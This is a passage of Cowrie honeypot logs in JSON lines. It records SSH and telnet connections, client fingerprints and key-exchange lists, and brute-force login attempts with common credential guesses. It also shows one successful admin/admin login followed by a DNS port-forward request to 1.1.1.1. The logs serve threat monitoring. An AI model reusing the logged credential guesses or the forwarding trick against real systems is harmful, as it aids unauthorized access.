sh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:14:20.002532Z","src_ip":"27.79.1.70","session":"5c86ce4d8320","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:14:21.238535Z","src_ip":"27.79.1.70","session":"5c86ce4d8320","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:14:22.499689Z","src_ip":"27.79.1.70","session":"5c86ce4d8320","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.848628044128418,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:14:30.493303Z","src_ip":"187.169.136.0","session":"3f96b4eaa56c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.176.122.24","src_port":35926,"dst_ip":"159.203.135.109","dst_port":22,"session":"048445fabb86","protocol":"ssh","message":"New connection: 122.176.122.24:35926 (159.203.135.109:22) [session: 048445fabb86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:14:43.449520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:14:43.453663Z","src_ip":"122.176.122.24","session":"048445fabb86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:14:43.731364Z","src_ip":"122.176.122.24","session":"048445fabb86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gaurav","password":"gaurav","message":"login attempt [gaurav/gaurav] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:14:44.869591Z","src_ip":"122.176.122.24","session":"048445fabb86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:14:46.150928Z","src_ip":"122.176.122.24","session":"048445fabb86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":43726,"dst_ip":"159.203.135.109","dst_port":22,"session":"af74697e0332","protocol":"ssh","message":"New connection: 20.203.42.204:43726 (159.203.135.109:22) [session: af74697e0332]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:15:08.256821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:15:08.261533Z","src_ip":"20.203.42.204","session":"af74697e0332","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:15:08.431107Z","src_ip":"20.203.42.204","session":"af74697e0332","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"viktor","password":"viktor","message":"login attempt [viktor/viktor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:15:09.143562Z","src_ip":"20.203.42.204","session":"af74697e0332","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:15:10.317096Z","src_ip":"20.203.42.204","session":"af74697e0332","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0088939666748,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:15:52.844917Z","src_ip":"79.139.59.21","session":"befc78eb8e3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":33478,"dst_ip":"10.17.0.5","dst_port":22,"session":"235eb0b0ff9a","protocol":"ssh","message":"New connection: 87.251.79.125:33478 (10.17.0.5:22) [session: 235eb0b0ff9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:16:02.548492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:16:02.552852Z","src_ip":"87.251.79.125","session":"235eb0b0ff9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:16:02.625324Z","src_ip":"87.251.79.125","session":"235eb0b0ff9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"michele","message":"login attempt [root/michele] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:16:02.843603Z","src_ip":"87.251.79.125","session":"235eb0b0ff9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:16:03.923218Z","src_ip":"87.251.79.125","session":"235eb0b0ff9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":41852,"dst_ip":"10.17.0.5","dst_port":22,"session":"50046d824df2","protocol":"ssh","message":"New connection: 87.251.64.176:41852 (10.17.0.5:22) [session: 50046d824df2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:16:18.834737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:16:18.839441Z","src_ip":"87.251.64.176","session":"50046d824df2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:16:18.934375Z","src_ip":"87.251.64.176","session":"50046d824df2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:16:19.218782Z","src_ip":"87.251.64.176","session":"50046d824df2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:16:19.328581Z","session":"50046d824df2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:16:19.424662Z","src_ip":"87.251.64.176","session":"50046d824df2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:16:19.521743Z","src_ip":"87.251.64.176","session":"50046d824df2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.87.219.67","src_port":35288,"dst_ip":"159.203.135.109","dst_port":22,"session":"cabfad0ab67c","protocol":"ssh","message":"New connection: 20.87.219.67:35288 (159.203.135.109:22) [session: cabfad0ab67c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:16:48.351609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:16:48.356495Z","src_ip":"20.87.219.67","session":"cabfad0ab67c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:16:48.586992Z","src_ip":"20.87.219.67","session":"cabfad0ab67c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e#E@W!Q","message":"login attempt [root/1q2w3e#E@W!Q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:16:49.539220Z","src_ip":"20.87.219.67","session":"cabfad0ab67c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:16:50.773741Z","src_ip":"20.87.219.67","session":"cabfad0ab67c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":44716,"dst_ip":"159.203.135.109","dst_port":22,"session":"e74598f74f59","protocol":"ssh","message":"New connection: 20.203.42.204:44716 (159.203.135.109:22) [session: e74598f74f59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:17:17.495190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:17:17.504123Z","src_ip":"20.203.42.204","session":"e74598f74f59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:17:17.669779Z","src_ip":"20.203.42.204","session":"e74598f74f59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwer-1234","message":"login attempt [root/Qwer-1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:17:18.347156Z","src_ip":"20.203.42.204","session":"e74598f74f59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:17:20.003977Z","src_ip":"20.203.42.204","session":"e74598f74f59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":55104,"dst_ip":"10.17.0.5","dst_port":22,"session":"023e9cf17931","protocol":"ssh","message":"New connection: 80.66.85.226:55104 (10.17.0.5:22) [session: 023e9cf17931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:18:07.444676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:18:07.449147Z","src_ip":"80.66.85.226","session":"023e9cf17931","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:18:07.542424Z","src_ip":"80.66.85.226","session":"023e9cf17931","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123333","message":"login attempt [root/123333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:18:07.813029Z","src_ip":"80.66.85.226","session":"023e9cf17931","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:18:08.905868Z","src_ip":"80.66.85.226","session":"023e9cf17931","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":47220,"dst_ip":"10.17.0.5","dst_port":22,"session":"37c1ab33423d","protocol":"ssh","message":"New connection: 103.77.175.15:47220 (10.17.0.5:22) [session: 37c1ab33423d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:18:11.390756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:18:11.397138Z","src_ip":"103.77.175.15","session":"37c1ab33423d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp